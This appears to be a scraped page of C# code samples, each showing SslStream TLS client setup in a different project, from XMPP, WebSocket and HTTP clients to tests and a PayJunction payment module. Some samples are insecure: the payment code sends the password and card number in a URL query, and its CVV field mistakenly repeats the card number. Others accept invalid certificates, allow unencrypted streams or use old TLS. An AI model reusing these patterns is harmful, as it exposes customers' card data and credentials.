            using (var writeFileStream = new FileStream(xmlResponseDestinationDirectory + batchName, FileMode.Create))
            {
                int bytesRead;

                do
                {
                    var byteBuffer = new byte[1024 * sizeof(char)];
                    bytesRead = sslStream.Read(byteBuffer, 0, byteBuffer.Length);

                    writeFileStream.Write(byteBuffer, 0, bytesRead);
                } while (bytesRead > 0);
            }

            tcpClient.Close();
            sslStream.Close();

            return(xmlResponseDestinationDirectory + batchName);
        }
Пример #39
0
    private void PerformTls()
    {
        // Create an SSL stream that will close the client's stream.
        SecureStream = new SslStream(
            Stream,
            true,
            new RemoteCertificateValidationCallback(ValidateServerCertificate));
        // The server name must match the name on the server certificate.
        try
        {
            SecureStream.AuthenticateAsClient(ServerName);
        }
        catch (AuthenticationException e)
        {
            Debug.LogError("Exception: " + e.Message);
            if (e.InnerException != null)
            {
                Debug.LogError("Inner exception: " + e.InnerException.Message);
            }
            // Console.WriteLine("Authentication failed - closing the connection.");
            Client.Close();
            return;
        }
        // Authenticated!
        string request = @"<stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' to='xmpp.livecoding.tv' version='1.0'>";
        Debug.Log("Asking to open a new XMPP stream on authenticated SecureStream! " + request);
        byte[] message = Encoding.UTF8.GetBytes(request);
        // byte[] message = Convert.FromBase64String(@"<stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' to='xmpp.livecoding.tv' version='1.0'>");

        // Set up new readers and writers.
        SecureStream.Write(message);
        SecureStream.Flush();
    }
Пример #40
0
        // As client
        private void SetClientStream()
        {
            if (_proxyUri != null)
            {
#if NET452
                _tcpClient = new TcpClient(_proxyUri.DnsSafeHost, _proxyUri.Port);
#else
                _tcpClient = new TcpClient();
#endif
                _stream = _tcpClient.GetStream();
                SendProxyConnectRequest();
            }
            else
            {
#if NET452
                _tcpClient = new TcpClient(_uri.DnsSafeHost, _uri.Port);
#else
                _tcpClient = new TcpClient();

                _tcpClient.ConnectAsync(_uri.DnsSafeHost, _uri.Port).Wait();
#endif
                _stream = _tcpClient.GetStream();
            }

#if SSL
            if (_secure)
            {
                var conf = SslConfiguration;
                var host = conf.TargetHost;
                if (host != _uri.DnsSafeHost)
                    throw new WebSocketException(
                      CloseStatusCode.TlsHandshakeFailure, "An invalid host name is specified.");

                try
                {
                    var sslStream = new SslStream(
                      _stream,
                      false,
                      conf.ServerCertificateValidationCallback,
                      conf.ClientCertificateSelectionCallback);

                    sslStream.AuthenticateAsClient(
                      host,
                      conf.ClientCertificates,
                      conf.EnabledSslProtocols,
                      conf.CheckCertificateRevocation);

                    _stream = sslStream;
                }
                catch (Exception ex)
                {
                    throw new WebSocketException(CloseStatusCode.TlsHandshakeFailure, ex);
                }
            }
#endif
        }
Пример #41
0
			public void BasicClientTest() {
				try {
					testName = "BasicClientTest";
					client = new TcpClient("localhost", 9000);
					sslStream = new SslStream(client.GetStream(), false);
					sslStream.AuthenticateAsClient("localhost");
					if (DoClientReadWrite()) {
						Shutdown(true);
					}
					else {
						Shutdown(false);
					}
				}
				catch (Exception) {
					Shutdown(false);
				}
			}
        /// <summary>
        /// Async connection to the server.
        /// </summary>
        /// <param name="args">Object type of SocketAsyncEventArgs that determines args for 
        /// connect. </param>
        /// <returns>If connect's state is successfully than true else false.</returns>
        public bool ConnectAsync(SocketAsyncEventArgs args)
        {
            if (_isSecure)
            {
                DnsEndPoint remoteEndpoint = (DnsEndPoint) args.RemoteEndPoint;
                _socket.Connect(remoteEndpoint);
                _stream = new NetworkStream(_socket);
                _sslStream = new SslStream(_stream, true, ValidateServerCertificate, null);
                X509Certificate certificate = new X509Certificate("certificate.pfx");
                try
                {
                    _sslStream.AuthenticateAsClient(remoteEndpoint.Host, new X509CertificateCollection(new[] { certificate }), SslProtocols.Tls, false);

                }
                catch (Exception)
                {
                    // socket was closed forcibly, protocol will handle this
                }
                return false;
            }
            else
            {
                return _socket.ConnectAsync(args);
            }
        }
Пример #43
0
			public void AdvancedClientTest() {
				//Initialize delegates for certificate callbacks
				clientRemoteCertificateValidationCallback = new RemoteCertificateValidationHandler(ValidateRemoteCert);
				clientLocalCertificateSelectionCallback = new LocalCertificateSelectionHandler(clientCertificateSelectionCallback);

				try {
					testName = "AdvancedClientTest";
					client = new TcpClient("localhost", 9000);
					// Create the SslStream object with the certificate callbacks
					sslStream = new SslStream(client.GetStream(), false, clientRemoteCertificateValidationCallback, clientLocalCertificateSelectionCallback);
					// Initialize with client certificate list, and client CA chain
					sslStream.AuthenticateAsClient("localhost", testServer.clientCertificateList, testServer.clientCAChain, SslProtocols.Tls, SslStrength.Medium | SslStrength.High, true);

					// Verify mutual authentication
					if (!sslStream.IsMutuallyAuthenticated) {
						Console.WriteLine("{0} failed - Stream is not mutally authenticated", testName);
						Shutdown(false);
					}
					// Verify protocol
					if (sslStream.SslProtocol != SslProtocols.Tls) {
						Console.WriteLine("{0} failed - negotiated a non Tls connection", testName);
						Shutdown(false);
					}
					// Verify cipher strength
					if (sslStream.CipherStrength < 256) {
						Console.WriteLine("{0} failed - negotiated less that 256bit cipher", testName);
						Console.WriteLine("Cipher={0}\nCipherStrength = {1}", sslStream.CipherAlgorithm.ToString(), sslStream.CipherStrength);
						Shutdown(false);
					}
					// Verify cipher
					if (sslStream.CipherAlgorithm != CipherAlgorithmType.Aes256) {
						Console.WriteLine("{0} failed - negotiatied cipher wasn't Aes256", testName);
						Console.WriteLine("Cipher was {0}, expected {0}", sslStream.CipherAlgorithm.ToString(), CipherAlgorithmType.Aes256.ToString());
						Shutdown(false);
					}
					if (DoClientReadWrite()) {
						Shutdown(true);
					}
					else {
						Shutdown(false);
					}
				}
				catch (Exception ex) {
					Shutdown(false);
					Console.WriteLine(ex);
				}
			}
Пример #44
0
        /// <summary>
        /// Establish the connection to the server.
        /// </summary>
        public void Connect()
        {
            if (IsConnected)
            {
                Logger?.Invoke(_Header + "already connected");
                return;
            }
            else
            {
                Logger?.Invoke(_Header + "initializing client");

                InitializeClient(_Ssl, _PfxCertFilename, _PfxPassword);

                Logger?.Invoke(_Header + "connecting to " + ServerIpPort);
            }

            _TokenSource = new CancellationTokenSource();
            _Token       = _TokenSource.Token;

            if (_Keepalive.EnableTcpKeepAlives)
            {
                EnableKeepalives();
            }

            IAsyncResult ar = _Client.BeginConnect(_ServerIp, _ServerPort, null, null);
            WaitHandle   wh = ar.AsyncWaitHandle;

            try
            {
                if (!ar.AsyncWaitHandle.WaitOne(TimeSpan.FromSeconds(_Settings.ConnectTimeoutSeconds), false))
                {
                    _Client.Close();
                    throw new TimeoutException("Timeout connecting to " + ServerIpPort);
                }

                _Client.EndConnect(ar);
                _NetworkStream = _Client.GetStream();

                if (_Ssl)
                {
                    if (_Settings.AcceptInvalidCertificates)
                    {
                        // accept invalid certs
                        _SslStream = new SslStream(_NetworkStream, false, new RemoteCertificateValidationCallback(AcceptCertificate));
                    }
                    else
                    {
                        // do not accept invalid SSL certificates
                        _SslStream = new SslStream(_NetworkStream, false);
                    }

                    _SslStream.AuthenticateAsClient(_ServerIp, _SslCertCollection, SslProtocols.Tls12, !_Settings.AcceptInvalidCertificates);

                    if (!_SslStream.IsEncrypted)
                    {
                        throw new AuthenticationException("Stream is not encrypted");
                    }

                    if (!_SslStream.IsAuthenticated)
                    {
                        throw new AuthenticationException("Stream is not authenticated");
                    }

                    if (_Settings.MutuallyAuthenticate && !_SslStream.IsMutuallyAuthenticated)
                    {
                        throw new AuthenticationException("Mutual authentication failed");
                    }
                }

                _IsConnected = true;
            }
            catch (Exception)
            {
                throw;
            }
            finally
            {
                wh.Close();
            }

            _Events.HandleConnected(this, new ClientConnectedEventArgs(ServerIpPort));

            Task.Run(() => DataReceiver(_Token), _Token);
        }
 protected override void AuthenticateAsClient(
     SslStream stream, bool waitForCompletion,
     string targetHost, X509CertificateCollection clientCertificates, SslProtocols enabledSslProtocols, bool checkCertificateRevocation)
 {
     stream.AuthenticateAsClient(targetHost, clientCertificates, enabledSslProtocols, checkCertificateRevocation);
 }
Пример #46
0
 protected override bool DoHandshake(SslStream clientSslStream, SslStream serverSslStream)
 {
     using (X509Certificate2 certificate = Configuration.Certificates.GetServerCertificate())
     {
         Task t1 = Task.Run(() => clientSslStream.AuthenticateAsClient(certificate.GetNameInfo(X509NameType.SimpleName, false)));
         Task t2 = Task.Run(() => serverSslStream.AuthenticateAsServer(certificate));
         return Task.WaitAll(new[] { t1, t2 }, TestConfiguration.PassingTestTimeoutMilliseconds);
     }
 }
Пример #47
0
        //public static PhpArray stream_socket_pair(ProtocolFamily protocolFamily, SocketType type, ProtocolType protocol)
        //{
        //    PhpException.FunctionNotSupported();
        //    return null;
        //}

        #endregion

        #region Connect

        /// <summary>
        /// Opens a new SocketStream
        /// </summary>
        internal static PhpStream Connect(Context ctx, string remoteSocket, int port, out int errno, out string errstr, double timeout, SocketOptions flags, StreamContext /*!*/ context)
        {
            errno  = 0;
            errstr = null;

            if (remoteSocket == null)
            {
                PhpException.ArgumentNull("remoteSocket");
                return(null);
            }

            bool IsSsl = false;

            // TODO: extract schema (tcp://, udp://) and port from remoteSocket
            // Uri uri = Uri.TryCreate(remoteSocket);
            const string protoSeparator = "://";
            var          protocol       = ProtocolType.Tcp;
            var          protoIdx       = remoteSocket.IndexOf(protoSeparator, StringComparison.Ordinal);

            if (protoIdx >= 0)
            {
                var protoStr = remoteSocket.AsSpan(0, protoIdx);
                if (protoStr.Equals("udp".AsSpan(), StringComparison.Ordinal))
                {
                    protocol = ProtocolType.Udp;
                }
                else if (protoStr.Equals("ssl".AsSpan(), StringComparison.Ordinal))
                {
                    // use SSL encryption
                    IsSsl = true;
                }

                remoteSocket = remoteSocket.Substring(protoIdx + protoSeparator.Length);
            }

            var colonIdx = remoteSocket.IndexOf(':');

            if (colonIdx >= 0)
            {
                var portStr = remoteSocket.AsSpan(colonIdx + 1);
                if (portStr.Length != 0 &&
                    int.TryParse(portStr.ToString(), out var n) &&    // TODO: (perf) ReadOnlySpan<char>
                    n > 0 && n <= 0xffff)
                {
                    port = n;
                }

                remoteSocket = remoteSocket.Remove(colonIdx);
            }

            if (double.IsNaN(timeout))
            {
                timeout = ctx.Configuration.Core.DefaultSocketTimeout;
            }

            // TODO:
            if (flags != SocketOptions.None && flags != SocketOptions.Asynchronous)
            {
                PhpException.ArgumentValueNotSupported("flags", (int)flags);
            }

            try
            {
                // workitem 299181; for remoteSocket as IPv4 address it results in IPv6 address
                //IPAddress address = System.Net.Dns.GetHostEntry(remoteSocket).AddressList[0];

                IPAddress address;
                if (!IPAddress.TryParse(remoteSocket, out address)) // if remoteSocket is not a valid IP address then lookup the DNS
                {
                    var addresses = System.Net.Dns.GetHostAddressesAsync(remoteSocket).Result;
                    if (addresses != null && addresses.Length != 0)
                    {
                        address = addresses[0];
                    }
                    else
                    {
                        throw new ArgumentException(nameof(remoteSocket));
                    }
                }

                var socket = new Socket(address.AddressFamily, SocketType.Stream, protocol);

                // socket.Connect(new IPEndPoint(address, port));
                if (socket.ConnectAsync(address, port).Wait((int)(timeout * 1000)))
                {
                    if (IsSsl)
                    {
                        var options = context.GetOptions("ssl");
                        if (options != null)
                        {
                            // TODO: provide parameters based on context[ssl][verify_peer|verify_peer_name|allow_self_signed|cafile]

                            options.TryGetValue("verify_peer", out var vpvalue);
                            options.TryGetValue("verify_peer_name", out var vpnvalue);
                            options.TryGetValue("allow_self_signed", out var assvalue);
                            options.TryGetValue("cafile", out var cafilevalue);

                            Debug.WriteLineIf(Operators.IsSet(vpvalue) && !vpvalue, "ssl: verify_peer not supported");
                            Debug.WriteLineIf(Operators.IsSet(vpnvalue) && (bool)vpnvalue, "ssl: verify_peer_name not supported");
                            Debug.WriteLineIf(Operators.IsSet(assvalue) && !assvalue, "ssl: allow_self_signed not supported");
                            Debug.WriteLineIf(Operators.IsSet(cafilevalue), "ssl: cafile not supported");
                        }

                        var sslstream = new SslStream(new NetworkStream(socket, System.IO.FileAccess.ReadWrite, true), false,
                                                      null, //(sender, certificate, chain, sslPolicyErrors) => true,
                                                      null, //(sender, targetHost, localCertificates, remoteCertificate, acceptableIssuers) => ??,
                                                      EncryptionPolicy.AllowNoEncryption);

                        sslstream.AuthenticateAsClient(remoteSocket);

                        return(new NativeStream(ctx, sslstream, null, StreamAccessOptions.Read | StreamAccessOptions.Write, remoteSocket, context)
                        {
                            IsWriteBuffered = false,
                            IsReadBuffered = false,
                        });
                    }
                    else
                    {
                        return(new SocketStream(ctx, socket, remoteSocket, context, (flags & SocketOptions.Asynchronous) != 0));
                    }
                }
                else
                {
                    Debug.Assert(!socket.Connected);
                    PhpException.Throw(PhpError.Warning, string.Format(Resources.LibResources.socket_open_timeout, FileSystemUtils.StripPassword(remoteSocket)));
                    return(null);
                }
            }
            catch (SocketException e)
            {
                errno  = (int)e.SocketErrorCode;
                errstr = e.Message;
            }
            catch (System.Exception e)
            {
                errno  = -1;
                errstr = e.Message;
            }

            PhpException.Throw(PhpError.Warning, string.Format(Resources.LibResources.socket_open_error, FileSystemUtils.StripPassword(remoteSocket), errstr));
            return(null);
        }
Пример #48
0
        }// end of the Encode method

        #endregion

        #region Methods

        /// <summary>
        /// Process payment
        /// </summary>
        /// <param name="paymentInfo">Payment info required for an order processing</param>
        /// <param name="customer">Customer</param>
        /// <param name="orderGuid">Unique order identifier</param>
        /// <param name="processPaymentResult">Process payment result</param>
        public void ProcessPayment(PaymentInfo paymentInfo, Customer customer, Guid orderGuid, ref ProcessPaymentResult processPaymentResult)
        {
            InitSettings();
            TransactMode transactionMode = GetCurrentTransactionMode();

            string transactionModeStr = string.Empty;

            if (transactionMode == TransactMode.Authorize)
            {
                transactionModeStr = "AUTHORIZATION";
            }
            else if (transactionMode == TransactMode.AuthorizeAndCapture)
            {
                transactionModeStr = "AUTHORIZATION_CAPTURE";
            }
            else
            {
                throw new NopException("Not supported transaction mode");
            }


            // This is the standard information that is needed to connect to PayJunction
            string    server = GetUrl();
            int       port   = 443;
            SslStream stream = null;

            // Encode Data Values
            string encodedPJLogin    = Encode("dc_logon", pjlogon);
            string encodedPJPassword = Encode("dc_password", pjpassword);
            string encodedFirstname  = Encode("dc_first_name", paymentInfo.BillingAddress.FirstName);
            string encodedLastname   = Encode("dc_last_name", paymentInfo.BillingAddress.LastName);
            string encodedCCNumber   = Encode("dc_number", paymentInfo.CreditCardNumber);
            string encodedExpMonth   = Encode("dc_expiration_month", paymentInfo.CreditCardExpireMonth.ToString("D2"));
            string encodedExpYear    = Encode("dc_expiration_year", paymentInfo.CreditCardExpireYear.ToString().Substring(2, 2));
            string encodedCVVCode    = Encode("dc_verification_number", paymentInfo.CreditCardCvv2);
            string encodedAddress    = Encode("dc_address", paymentInfo.BillingAddress.Address1);
            string encodedCity       = Encode("dc_city", paymentInfo.BillingAddress.City);
            string encodedZipCode    = Encode("dc_zipcode", paymentInfo.BillingAddress.ZipPostalCode);
            string encodedTransType  = Encode("dc_transaction_type", transactionModeStr);
            string encodedAmount     = Encode("dc_transaction_amount", paymentInfo.OrderTotal.ToString("0.00", CultureInfo.InvariantCulture));
            string encodedVersion    = Encode("dc_version", "1.2");

            // Concatenate Encoded Transaction String
            string transactioninfo = "POST /quick_link?" + encodedPJLogin + "&" + encodedPJPassword + "&" + encodedFirstname + "&" + encodedLastname + "&" + encodedCCNumber + "&" + encodedExpMonth + "&" + encodedExpYear + "&" + encodedCCNumber + "&" + encodedAddress + "&" + encodedCity + "&" + encodedZipCode + "&" + encodedTransType + "&" + encodedAmount + "&" + encodedVersion + " \r\n\r\n";

            try
            {
                // Instantiate a TcpClient with the server and port
                TcpClient client = new TcpClient(server, port);
                // Convert the data to send into a byte array
                Byte[] data = System.Text.Encoding.ASCII.GetBytes(transactioninfo);
                // Specify the callback function that will act as the validation delegate.
                RemoteCertificateValidationCallback callback = new
                                                               // This lets you inspect the certificate to see if it meets your validation requirements.
                                                               RemoteCertificateValidationCallback(OnCertificateValidation);
                // Instantiate an SslStream with the NetworkStream returned from the TcpClient.
                stream = new SslStream(client.GetStream(), false, callback);
                // As a client, you can authenticate the server and validate the results using the SslStream.
                // This is the host name of the server you are connecting to, which may or may not be the name used to connect to the server when TcpClient is instantiated.
                stream.AuthenticateAsClient(server);
                // Send the message to the server.
                stream.Write(data, 0, data.Length);
                // Buffer to hold data returned from the server.
                data = new Byte[2048];
                // Read the response from the server up to the size of the buffer.
                int bytes = stream.Read(data, 0, data.Length);
                Console.WriteLine(bytes);
                // Convert the received bytes into a string
                string responseData = System.Text.Encoding.ASCII.GetString(data, 0, bytes);
                // Create an Array "keyValue" that contains the response
                string[] keyValue = responseData.Split(Convert.ToChar(28));
                Dictionary <string, string> keyValueDic = new Dictionary <string, string>();
                foreach (string key in keyValue)
                {
                    string str1 = key.Split(new char[] { '=' })[0];
                    string str2 = key.Split(new char[] { '=' })[1];
                    keyValueDic.Add(str1, str2);
                }

                string dc_response_code = string.Empty;
                if (keyValueDic.ContainsKey("dc_response_code"))
                {
                    dc_response_code = keyValueDic["dc_response_code"];
                }
                string dc_response_message = string.Empty;
                if (keyValueDic.ContainsKey("dc_response_message"))
                {
                    dc_response_message = keyValueDic["dc_response_message"];
                }

                if (dc_response_code == "00" || dc_response_code == "85")
                {
                    string dc_transaction_id = string.Empty;
                    if (keyValueDic.ContainsKey("dc_transaction_id"))
                    {
                        dc_transaction_id = keyValueDic["dc_transaction_id"];
                    }
                    if (transactionMode == TransactMode.Authorize)
                    {
                        processPaymentResult.PaymentStatus = PaymentStatusEnum.Authorized;
                        processPaymentResult.AuthorizationTransactionId = dc_transaction_id;
                    }
                    else
                    {
                        processPaymentResult.PaymentStatus        = PaymentStatusEnum.Paid;
                        processPaymentResult.CaptureTransactionId = dc_transaction_id;
                    }
                }
                else
                {
                    processPaymentResult.Error     = string.Format("Error: {0}. {1}", dc_response_message, dc_response_code);
                    processPaymentResult.FullError = string.Format("Error: {0}. {1}", dc_response_message, dc_response_code);
                }
            }
            catch (Exception exc)
            {
                processPaymentResult.Error     = string.Format("Error: {0}", exc.Message);
                processPaymentResult.FullError = string.Format("Error: {0}", exc.ToString());
            }
            finally
            {
                // Make sure that the SslStream is closed.
                if (stream != null)
                {
                    stream.Close();
                }
            }
        }
Пример #49
0
        /// <summary>
        /// Execute the given HTTP request and return its result.
        /// </summary>
        /// <param name="Request">A HTTP request.</param>
        /// <param name="RequestLogDelegate">A delegate for logging the HTTP request.</param>
        /// <param name="ResponseLogDelegate">A delegate for logging the HTTP request/response.</param>
        /// <param name="Timeout">An optional timeout.</param>
        /// <param name="CancellationToken">A cancellation token.</param>
        public async Task <HTTPResponse> Execute(HTTPRequest Request,
                                                 ClientRequestLogHandler RequestLogDelegate   = null,
                                                 ClientResponseLogHandler ResponseLogDelegate = null,
                                                 TimeSpan?Timeout = null,
                                                 CancellationToken?CancellationToken = null)
        {
            #region Call the optional HTTP request log delegate

            try
            {
                RequestLogDelegate?.Invoke(DateTime.Now, this, Request);
            }
            catch (Exception e)
            {
                e.Log(nameof(HTTPClient) + "." + nameof(RequestLogDelegate));
            }

            #endregion

            var task = Task <HTTPResponse> .Factory.StartNew(() => {
                HTTPResponse Response = null;

                try
                {
                    if (Environment.MachineName.Contains("QUAD2QUANTOR") && Request.URI.Contains("eRoaming"))
                    {
                        throw new Exception("Catch me if you can!");
                    }

                    Thread.CurrentThread.Priority = ThreadPriority.BelowNormal;

                    #region Data

                    var HTTPHeaderBytes = new Byte[0];
                    var sw = new Stopwatch();

                    if (!Timeout.HasValue)
                    {
                        Timeout = TimeSpan.FromSeconds(60);
                    }

                    #endregion

                    #region Create TCP connection (possibly also do DNS lookups)

                    if (TCPClient == null)
                    {
                        System.Net.IPEndPoint _FinalIPEndPoint = null;
                        IIPAddress _ResolvedRemoteIPAddress    = null;

                        if (RemoteIPAddress == null)
                        {
                            if (Hostname.Trim() == "127.0.0.1")
                            {
                                _ResolvedRemoteIPAddress = IPv4Address.Localhost;
                            }

                            else
                            {
                                var RegExpr = new Regex(@"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b");

                                if (RegExpr.IsMatch(Hostname))
                                {
                                    _ResolvedRemoteIPAddress = IPv4Address.Parse(Hostname);
                                }
                            }

                            #region DNS lookup...

                            if (_ResolvedRemoteIPAddress == null)
                            {
                                try
                                {
                                    var IPv4AddressTask = DNSClient.
                                                          Query <A>(Hostname).
                                                          ContinueWith(QueryTask => QueryTask.Result.
                                                                       Select(ARecord => ARecord.IPv4Address).
                                                                       FirstOrDefault());

                                    IPv4AddressTask.Wait();

                                    _ResolvedRemoteIPAddress = IPv4AddressTask.Result;
                                }
                                catch (Exception e)
                                {
                                    Debug.WriteLine("[" + DateTime.Now + "] " + e.Message);
                                }
                            }

                            #endregion
                        }

                        else
                        {
                            _ResolvedRemoteIPAddress = RemoteIPAddress;
                        }

                        _FinalIPEndPoint = new System.Net.IPEndPoint(new System.Net.IPAddress(_ResolvedRemoteIPAddress.GetBytes()), RemotePort.ToInt32());

                        sw.Start();

                        TCPClient = new TcpClient();
                        TCPClient.Connect(_FinalIPEndPoint);
                        TCPClient.ReceiveTimeout = (Int32)Timeout.Value.TotalMilliseconds;
                    }

                    #endregion

                    #region Create (Crypto-)Stream

                    TCPStream             = TCPClient.GetStream();
                    TCPStream.ReadTimeout = (Int32)Timeout.Value.TotalMilliseconds;

                    TLSStream = RemoteCertificateValidator != null
                                     ? new SslStream(TCPStream,
                                                     false,
                                                     RemoteCertificateValidator)
                                //    ClientCertificateSelector,
                                //EncryptionPolicy.RequireEncryption)
                                     : null;

                    if (TLSStream != null)
                    {
                        TLSStream.ReadTimeout = (Int32)Timeout.Value.TotalMilliseconds;
                    }

                    HTTPStream = null;

                    if (RemoteCertificateValidator != null)
                    {
                        HTTPStream = TLSStream;
                        TLSStream.AuthenticateAsClient(Hostname);//, new X509CertificateCollection(new X509Certificate[] { ClientCert }), SslProtocols.Default, false);
                    }

                    else
                    {
                        HTTPStream = TCPStream;
                    }

                    HTTPStream.ReadTimeout = (Int32)Timeout.Value.TotalMilliseconds;

                    #endregion

                    #region Send Request

                    HTTPStream.Write(String.Concat(Request.EntireRequestHeader,
                                                   Environment.NewLine,
                                                   Environment.NewLine).
                                     ToUTF8Bytes());

                    var RequestBodyLength = Request.HTTPBody == null
                                                ? Request.ContentLength.HasValue ? (Int32)Request.ContentLength.Value : 0
                                                : Request.ContentLength.HasValue ? Math.Min((Int32)Request.ContentLength.Value, Request.HTTPBody.Length) : Request.HTTPBody.Length;

                    if (RequestBodyLength > 0)
                    {
                        HTTPStream.Write(Request.HTTPBody, 0, RequestBodyLength);
                    }

                    var _MemoryStream = new MemoryStream();
                    var _Buffer       = new Byte[10485760]; // 10 MBytes, a smaller value leads to read errors!

                    #endregion

                    #region Wait timeout for the server to react!

                    //Debug.WriteLine("[" + DateTime.Now + "] HTTPClient timeout: " + Timeout.Value.ToString());

                    while (!TCPStream.DataAvailable)
                    {
                        if (sw.ElapsedMilliseconds >= Timeout.Value.TotalMilliseconds)
                        {
                            TCPClient.Close();
                            throw new Exception("[" + DateTime.Now + "] Could not read from the TCP stream for " + sw.ElapsedMilliseconds + "ms!");
                        }

                        Thread.Sleep(1);
                    }

                    //Debug.WriteLine("[" + DateTime.Now + "] HTTPClient (" + TCPClient.Client.LocalEndPoint.ToString() + " -> " + RemoteSocket.ToString() + ") got first response after " + sw.ElapsedMilliseconds + "ms!");

                    #endregion

                    #region Read the entire HTTP header, and maybe some of the HTTP body

                    var CurrentDataLength = 0;

                    do
                    {
                        #region When data available, write it to the buffer...

                        while (TCPStream.DataAvailable)
                        {
                            CurrentDataLength = HTTPStream.Read(_Buffer, 0, _Buffer.Length);

                            if (CurrentDataLength > -1)
                            {
                                _MemoryStream.Write(_Buffer, 0, CurrentDataLength);
                                //                        Debug.WriteLine("[" + DateTime.Now + "] Read " + CurrentDataLength + " bytes from HTTP connection (" + TCPClient.Client.LocalEndPoint.ToString() + " -> " + RemoteSocket.ToString() + ") (" + sw.ElapsedMilliseconds + "ms)!");
                            }
                        }

                        #endregion

                        #region Check if the entire HTTP header was already read into the buffer

                        if (_MemoryStream.Length > 4)
                        {
                            var MemoryCopy = _MemoryStream.ToArray();

                            for (var pos = 3; pos < MemoryCopy.Length; pos++)
                            {
                                if (MemoryCopy[pos] == 0x0a &&
                                    MemoryCopy[pos - 1] == 0x0d &&
                                    MemoryCopy[pos - 2] == 0x0a &&
                                    MemoryCopy[pos - 3] == 0x0d)
                                {
                                    Array.Resize(ref HTTPHeaderBytes, pos - 3);
                                    Array.Copy(MemoryCopy, 0, HTTPHeaderBytes, 0, pos - 3);
                                    break;
                                }
                            }

                            //if (HTTPHeaderBytes.Length > 0)
                            //    Debug.WriteLine("[" + DateTime.Now + "] End of (" + TCPClient.Client.LocalEndPoint.ToString() + " -> " + RemoteSocket.ToString() + ") HTTP header at " + HTTPHeaderBytes.Length + " bytes (" + sw.ElapsedMilliseconds + "ms)!");
                        }

                        #endregion

                        Thread.Sleep(1);
                    }
                    // Note: Delayed parts of the HTTP body may not be read into the buffer
                    //       => Must be read later!
                    while (TCPStream.DataAvailable ||
                           ((sw.ElapsedMilliseconds < HTTPStream.ReadTimeout) && HTTPHeaderBytes.Length == 0));

                    //Debug.WriteLine("[" + DateTime.Now + "] Finally read " + _MemoryStream.Length + " bytes of HTTP client (" + TCPClient.Client.LocalEndPoint.ToString() + " -> " + RemoteSocket.ToString() + ") data (" + sw.ElapsedMilliseconds + "ms)!");

                    #endregion

                    #region Copy HTTP header data and create HTTP response

                    if (HTTPHeaderBytes.Length == 0)
                    {
                        throw new ApplicationException(DateTime.Now + " Could not find the end of the HTTP protocol header!");
                    }

                    Response = HTTPResponse.Parse(HTTPHeaderBytes.ToUTF8String(),
                                                  Request);

                    #endregion

                    #region Read 'Content-Length' bytes...

                    // Copy only the number of bytes given within
                    // the HTTP header element 'Content-Length'!
                    if (Response.ContentLength.HasValue && Response.ContentLength.Value > 0)
                    {
                        _MemoryStream.Seek(HTTPHeaderBytes.Length + 4, SeekOrigin.Begin);
                        var _Read        = _MemoryStream.Read(_Buffer, 0, _Buffer.Length);
                        var _StillToRead = (Int32)Response.ContentLength.Value - _Read;
                        Response.HTTPBodyStream.Write(_Buffer, 0, _Read);
                        var _CurrentBufferSize = 0;

                        do
                        {
                            while (TCPStream.DataAvailable && _StillToRead > 0)
                            {
                                _CurrentBufferSize = Math.Min(_Buffer.Length, (Int32)_StillToRead);
                                _Read = HTTPStream.Read(_Buffer, 0, _CurrentBufferSize);
                                Response.HTTPBodyStream.Write(_Buffer, 0, _Read);
                                _StillToRead -= _Read;
                            }

                            if (_StillToRead <= 0)
                            {
                                break;
                            }

                            Thread.Sleep(1);
                        }while (sw.ElapsedMilliseconds < HTTPStream.ReadTimeout);

                        Response.ContentStreamToArray();
                    }

                    #endregion

                    #region ...or read till timeout (e.g. for chunked transport)!

                    else
                    {
                        try
                        {
                            _MemoryStream.Seek(HTTPHeaderBytes.Length + 4, SeekOrigin.Begin);
                            Response.NewContentStream();
                            Response.HTTPBodyStream.Write(_Buffer, 0, _MemoryStream.Read(_Buffer, 0, _Buffer.Length));

                            var Retries = 0;

                            while (Retries < 10)
                            {
                                while (TCPStream.DataAvailable)
                                {
                                    Response.HTTPBodyStream.Write(_Buffer, 0, HTTPStream.Read(_Buffer, 0, _Buffer.Length));
                                    Retries = 0;
                                }

                                Thread.Sleep(10);
                                Retries++;
                            }

                            if (Response.TransferEncoding == "chunked")
                            {
                                //Debug.WriteLine(DateTime.Now + " Chunked encoding detected");

                                var TEContent       = ((MemoryStream)Response.HTTPBodyStream).ToArray();
                                var TEString        = TEContent.ToUTF8String();
                                var ReadBlockLength = true;
                                var TEMemStram      = new MemoryStream();
                                var LastPos         = 0;

                                var i = 0;
                                do
                                {
                                    if (i > 2 &&
                                        ReadBlockLength &&
                                        TEContent[i - 1] == '\n' &&
                                        TEContent[i - 2] == '\r')
                                    {
                                        var len = TEContent.ReadTEBlockLength(LastPos, i - LastPos - 2);

                                        //Debug.WriteLine(DateTime.Now + " Chunked encoded block of length " + len + " bytes detected");

                                        if (len == 0)
                                        {
                                            break;
                                        }

                                        if (i + len <= TEContent.Length)
                                        {
                                            TEMemStram.Write(TEContent, i, len);
                                            i = i + len;

                                            if (TEContent[i] == 0x0d)
                                            {
                                                i++;
                                            }

                                            if (i < TEContent.Length - 1)
                                            {
                                                if (TEContent[i] == 0x0a)
                                                {
                                                    i++;
                                                }
                                            }
                                            else
                                            {
                                            }

                                            LastPos = i;

                                            ReadBlockLength = false;
                                        }

                                        else
                                        {
                                            // Reaching this point seems to be an endless loop!
                                            break;
                                        }
                                    }

                                    else
                                    {
                                        ReadBlockLength = true;
                                        i++;
                                    }
                                } while (i < TEContent.Length);

                                Response.ContentStreamToArray(TEMemStram);
                            }

                            else
                            {
                                Response.ContentStreamToArray();
                            }
                        }

                        catch (Exception e)
                        {
                            Debug.WriteLine(DateTime.Now + " " + e.Message);
                        }
                    }

                    #endregion

                    #region Close connection if requested!

                    if (Response.Connection == null ||
                        Response.Connection == "close")
                    {
                        TCPClient.Close();
                        HTTPStream = null;
                        TCPClient  = null;
                    }

                    #endregion
                }
                catch (Exception e)
                {
                    #region Create a HTTP response for the exception...

                    while (e.InnerException != null)
                    {
                        e = e.InnerException;
                    }

                    Response = new HTTPResponseBuilder(Request,
                                                       HTTPStatusCode.BadRequest)
                    {
                        ContentType = HTTPContentType.JSON_UTF8,
                        Content     = JSONObject.Create(new JProperty("Message", e.Message),
                                                        new JProperty("StackTrace", e.StackTrace)).
                                      ToUTF8Bytes()
                    };

                    #endregion
                }

                #region Call the optional HTTP response log delegate

                try
                {
